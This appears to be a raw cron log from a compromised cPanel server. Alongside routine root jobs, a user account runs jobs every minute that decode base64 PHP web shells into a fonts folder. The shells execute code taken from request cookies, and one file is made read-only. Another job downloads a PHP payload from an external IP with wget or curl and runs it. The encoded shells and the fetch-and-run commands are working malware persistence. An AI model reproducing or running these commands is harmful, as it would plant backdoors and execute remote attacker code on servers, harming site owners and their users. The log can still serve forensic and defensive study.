Sep  8 21:55:01 ip-184-168-122-23 CROND[30244]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 21:55:01 ip-184-168-122-23 CROND[30245]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 21:55:01 ip-184-168-122-23 CROND[30246]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 21:55:01 ip-184-168-122-23 CROND[30247]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 21:56:01 ip-184-168-122-23 CROND[30338]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 21:56:01 ip-184-168-122-23 CROND[30337]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 21:56:01 ip-184-168-122-23 CROND[30339]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 21:56:01 ip-184-168-122-23 CROND[30342]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 21:56:01 ip-184-168-122-23 CROND[30344]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 21:57:01 ip-184-168-122-23 CROND[30431]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 21:57:01 ip-184-168-122-23 CROND[30433]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 21:57:01 ip-184-168-122-23 CROND[30435]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 21:57:01 ip-184-168-122-23 CROND[30434]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 21:58:01 ip-184-168-122-23 CROND[30596]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 21:58:01 ip-184-168-122-23 CROND[30597]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 21:58:01 ip-184-168-122-23 CROND[30600]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 21:58:01 ip-184-168-122-23 CROND[30601]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 21:58:01 ip-184-168-122-23 CROND[30602]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 21:59:01 ip-184-168-122-23 CROND[30702]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 21:59:01 ip-184-168-122-23 CROND[30703]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 21:59:01 ip-184-168-122-23 CROND[30706]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 21:59:01 ip-184-168-122-23 CROND[30707]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 22:00:02 ip-184-168-122-23 CROND[30793]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 22:00:02 ip-184-168-122-23 CROND[30791]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 22:00:02 ip-184-168-122-23 CROND[30792]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 22:00:02 ip-184-168-122-23 CROND[30797]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 22:00:02 ip-184-168-122-23 CROND[30798]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 22:00:02 ip-184-168-122-23 CROND[30799]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 22:00:02 ip-184-168-122-23 CROND[30794]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 22:00:02 ip-184-168-122-23 CROND[30796]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 22:00:02 ip-184-168-122-23 CROND[30795]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  8 22:01:02 ip-184-168-122-23 CROND[30895]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 22:01:02 ip-184-168-122-23 CROND[30896]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 22:01:02 ip-184-168-122-23 CROND[30902]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 22:01:02 ip-184-168-122-23 CROND[30901]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 22:01:02 ip-184-168-122-23 CROND[30900]: (root) CMD (run-parts /etc/cron.hourly)
Sep  8 22:01:02 ip-184-168-122-23 CROND[30907]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 22:01:02 ip-184-168-122-23 run-parts(/etc/cron.hourly)[30900]: starting 0anacron
Sep  8 22:01:02 ip-184-168-122-23 run-parts(/etc/cron.hourly)[30917]: finished 0anacron
Sep  8 22:02:01 ip-184-168-122-23 CROND[31001]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 22:02:01 ip-184-168-122-23 CROND[31003]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 22:02:01 ip-184-168-122-23 CROND[31005]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 22:02:01 ip-184-168-122-23 CROND[31004]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 22:02:01 ip-184-168-122-23 CROND[31006]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 22:03:01 ip-184-168-122-23 CROND[31090]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 22:03:01 ip-184-168-122-23 CROND[31092]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 22:03:01 ip-184-168-122-23 CROND[31093]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 22:03:01 ip-184-168-122-23 CROND[31094]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 22:04:01 ip-184-168-122-23 CROND[31174]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 22:04:01 ip-184-168-122-23 CROND[31175]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 22:04:01 ip-184-168-122-23 CROND[31172]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 22:04:01 ip-184-168-122-23 CROND[31176]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 22:04:01 ip-184-168-122-23 CROND[31173]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 22:05:01 ip-184-168-122-23 CROND[31266]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 22:05:01 ip-184-168-122-23 CROND[31269]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 22:05:01 ip-184-168-122-23 CROND[31268]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 22:05:01 ip-184-168-122-23 CROND[31270]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 22:05:01 ip-184-168-122-23 CROND[31272]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 22:05:01 ip-184-168-122-23 CROND[31271]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 22:05:01 ip-184-168-122-23 CROND[31273]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 22:06:01 ip-184-168-122-23 CROND[31368]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 22:06:02 ip-184-168-122-23 CROND[31370]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 22:06:02 ip-184-168-122-23 CROND[31371]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 22:06:02 ip-184-168-122-23 CROND[31372]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 22:06:02 ip-184-168-122-23 CROND[31373]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 22:07:01 ip-184-168-122-23 CROND[31554]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 22:07:01 ip-184-168-122-23 CROND[31555]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 22:07:01 ip-184-168-122-23 CROND[31556]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
